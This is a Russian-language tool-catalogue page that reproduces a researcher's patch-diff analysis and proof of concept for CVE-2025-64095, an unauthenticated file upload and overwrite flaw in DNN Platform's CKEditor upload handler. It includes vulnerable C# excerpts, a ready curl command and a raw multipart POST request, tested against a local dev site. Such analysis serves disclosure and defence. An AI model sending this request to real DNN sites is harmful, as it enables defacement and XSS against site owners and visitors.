Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/h4x0r-dz/cve-2025-64095---dnn-unauthenticated-arbitrary-file-upload
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubh4x0r-dz/cve-2025-64095---dnn-unauthenticated-arbitrary-file-upload

CVE-2025-64095---DNN-Unauthenticated-arbitrary-file-upload

POC недостаточного контроля доступа в DNN — загрузка изображений позволяет перезаписывать содержимое сайта

Репозиторий
144210 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-64095---DNN-Неаутентифицированная-произвольная-загрузка-файлов

POC недостаточного контроля доступа DNN — загрузка изображений позволяет перезаписывать содержимое сайта

Я простой человек: вижу cvss:10/10 — захожу xD

Я увидел эту новую CVE-2025-64095: недостаточный контроль доступа DNN — загрузка изображений позволяет перезаписывать содержимое сайта.

Описание Неаутентифицированный пользователь может загружать и заменять существующие файлы, что позволяет портить внешний вид сайта, а в сочетании с другой проблемой — внедрять XSS-пейлоады.

https://nvd.nist.gov/vuln/detail/CVE-2025-64095

Базовый балл: 10.0 КРИТИЧЕСКИЙ 🤷‍♂️

Однако на деле всё не так критично, поскольку нельзя загрузить веб-шелл типа ASP, ASPX и т.д. (по крайней мере, в конфигурации по умолчанию) — можно загружать только изображения и SVG. Также можно загружать/перезаписывать только существующие файлы на веб-сервере и только в определённый путь; нельзя загрузить файл даже в корневой каталог.

Анализ диффа патча: DNN Platform 10.1.0 и 10.1.1

Поскольку все версии до 10.1.1 уязвимы, я взял DNN Platform 10.1.0 (последнюю уязвимую версию).

Введение

Дифф довольно большой; меня интересует только код, связанный с загрузкой файлов, а именно Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx. Поэтому я сосредоточился на сравнении этого конкретного файла между версиями, чтобы понять, что (если вообще что-то) было исправлено в 10.1.1.

Позвольте провести вас по тому, что я нашёл и как я обнаружил уязвимость.

Первоначальное исследование

Когда я впервые начал сравнивать две версии, общий дифф показал 158 изменённых файлов между DNN Platform 10.1.0 и 10.1.1. Большинство изменений были просто «улучшениями» — file-scoped namespaces. Но мне нужно было узнать, исправлена ли уязвимость загрузки файлов.

Уязвимый файл находится по пути Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs — это обработчик загрузки файлов CKEditor. Это распространённая поверхность атаки для уязвимостей загрузки файлов.

Уязвимость в 10.1.0

Рассмотрим метод ProcessRequest в 10.1.0:

root@kitploit:~
public void ProcessRequest(HttpContext context)
{
    context.Response.AddHeader("Pragma", "no-cache");
    context.Response.AddHeader("Cache-Control", "private, no-cache");

    this.HandleMethod(context);
}

Вот и всё. Здесь буквально нет проверки аутентификации. Любой может отправить запрос к этой конечной точке и загружать файлы — никакой проверки сессии, ничего.

Поток выглядит так:

  1. отправляется POST-запрос к FileUploader.ashx
  2. вызывается ProcessRequest
  3. он немедленно вызывает HandleMethod, который направляет к UploadFile
  4. UploadFile вызывает UploadWholeFile
  5. UploadWholeFile обрабатывает загрузку без проверки, вошёл ли пользователь в систему

Вся логика загрузки находится в UploadWholeFile, начиная примерно со строки 230. Покажу вам ключевые части:

root@kitploit:~
private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
{
    for (int i = 0; i < context.Request.Files.Count; i++)
    {
        var file = context.Request.Files[i];

        var fileName = Path.GetFileName(file.FileName);  // Line 236

        // Convert Unicode Chars
        fileName = Utility.ConvertUnicodeChars(fileName);

        // Replace dots in the name with underscores (only one dot can be there... security issue).
        fileName = Regex.Replace(fileName, @"\.(?![^.]*$), "_", RegexOptions.None);

        // Check for Illegal Chars
        if (Utility.ValidateFileName(fileName))
        {
            fileName = Utility.CleanFileName(fileName);
        }

        // ... more processing ...

        // Rename File if Exists
        if (!this.OverrideFiles)  // Line 268
        {
            var counter = 0;
            while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
            {
                counter++;
                fileName = string.Format("{0}_{1}{2}", fileNameNoExtenstion, counter, Path.GetExtension(file.FileName));
            }
        }

        var contentType = FileContentTypeManager.Instance.GetContentType(Path.GetExtension(fileName));
        var userId = UserController.Instance.GetCurrentUserInfo().UserID;  // Line 284 - gets userId but never checked!

        if (!contentType.StartsWith("image", StringComparison.InvariantCultureIgnoreCase))
        {
            FileManager.Instance.AddFile(this.StorageFolder, fileName, file.InputStream, this.OverrideFiles, true, contentType, userId);
        }
        else
        {
            // Image resizing logic follows...
        }
    }
}

Обратите внимание: в строке 284 вызывается UserController.Instance.GetCurrentUserInfo(), чтобы получить userId, но фактически никогда не проверяется, аутентифицирован ли пользователь. Если вы не вошли в систему, метод просто возвращает null или анонимного пользователя, но загрузка всё равно продолжается.

Также обратите внимание на свойство OverrideFiles в строке 268:

root@kitploit:~
private bool OverrideFiles =>
    HttpContext.Current.Request["overrideFiles"].Equals("1")
    || HttpContext.Current.Request["overrideFiles"].Equals("true", StringComparison.InvariantCultureIgnoreCase);

Это параметр, управляемый пользователем! Любой может установить overrideFiles=1 в своём запросе на загрузку и перезаписать существующие файлы.

Проверка уязвимости

Я проверил это, составив простую curl-команду:

root@kitploit:~
C:\Users\pwn\Desktop>curl -x http://127.0.0.1:8080 -X POST http://mysite.dnndev.me/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx -F "[email protected]" -F "storageFolderID=1" -F "portalID=0" -F "overrideFiles=1" -F "mode=Default"
[{"group":null,"name":"poc.png","type":"image/png","size":0,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]

сырой POST-запрос

root@kitploit:~
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1
Host: mysite.dnndev.me
User-Agent: curl/8.13.0
Accept: */*
Content-Length: 626
Content-Type: multipart/form-data; boundary=------------------------7RKjWLYyrhvUn2AA31fJQ3
Connection: keep-alive

--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="file"; filename="poc.png"
Content-Type: image/png


--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="storageFolderID"

1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="portalID"

0
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="overrideFiles"

1
--------------------------7RKjWLYyrhvUn2AA31fJQ3
Content-Disposition: form-data; name="mode"

Default
--------------------------7RKjWLYyrhvUn2AA31fJQ3--

ответ:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 194

[{"group":null,"name":"poc.png","type":"image/png","size":10,"progress":"1.0","url":"/FileTransferHandler.ashx?f=poc.png","thumbnail_url":null,"delete_url":null,"delete_type":null,"error":null}]
изображение

Файл был успешно загружен. Я проверил это, перейдя по адресу http://mysite.dnndev.me/Portals/_default/poc.png, и действительно, он там был.

и файл размещается в каталоге \Portals_default:

root@kitploit:~
PS C:\Users\pwn\Documents\site\web02> Get-ChildItem -Path . -Filter "poc.png" -Recurse -File


    Directory: C:\Users\pwn\Documents\site\web02\Website\Portals\_default


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/31/2025   4:16 PM              0 poc.png


PS C:\Users\pwn\Documents\site\web02>
изображение

Защита от обхода пути

Я искал обход пути, чтобы переписать файлы в корневом каталоге, но защита на самом деле довольно хорошая. Смотрим:

root@kitploit:~
var fileName = Path.GetFileName(file.FileName);

Она работает корректно. Path.GetFileName() автоматически удаляет любые последовательности обхода каталогов. То есть если кто-то попытается загрузить файл с именем ../../../foo, имя станет просто foo.

Код также содержит дополнительные меры защиты в "DNN Platform\Providers\HtmlEditorProviders\DNNConnect.CKE\Browser\FileUploader.ashx.cs"

root@kitploit:~
    private void UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses)
    {
        for (var i = 0; i < context.Request.Files.Count; i++)
        {
            var file = context.Request.Files[i];
            if (file is null)
            {
                continue;
            }

            var fileName = Path.GetFileName(file.FileName);

            if (!string.IsNullOrEmpty(fileName))
            {
                // Convert Unicode Chars
                fileName = Utility.ConvertUnicodeChars(fileName);

                // Replace dots in the name with underscores (only one dot can be there... security issue).
                fileName = Regex.Replace(fileName, @"\.(?![^.]*$)", "_", RegexOptions.None);

                // Check for Illegal Chars
                if (Utility.ValidateFileName(fileName))
                {
                    fileName = Utility.CleanFileName(fileName);
                }
            }
            else
            {
                throw new HttpRequestValidationException("File does not have a name");
            }

            if (fileName.Length > 220)
            {
                fileName = fileName.Substring(fileName.Length - 220);
            }

            // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities
            fileName = Regex.Replace(fileName, @"^\\+", string.Empty);

            var fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);

            // Rename File if Exists
            if (!OverrideFiles)
            {
                var counter = 0;

                while (File.Exists(Path.Combine(StorageFolder.PhysicalPath, fileName)))
                {
                    counter++;
                    fileName = string.Format(
                        "{0}_{1}{2}",
                        fileNameNoExtenstion,
                        counter,
                        Path.GetExtension(file.FileName));
                }
            }

как видно из кода // file names starting with '\\' may be used for manipulating the filepath and explore vulnerabilities fileName = Regex.Replace(fileName, @"^\\+", string.Empty);

Как я уже говорил, я всё же не считаю это критической уязвимостью.

Скачать инструмент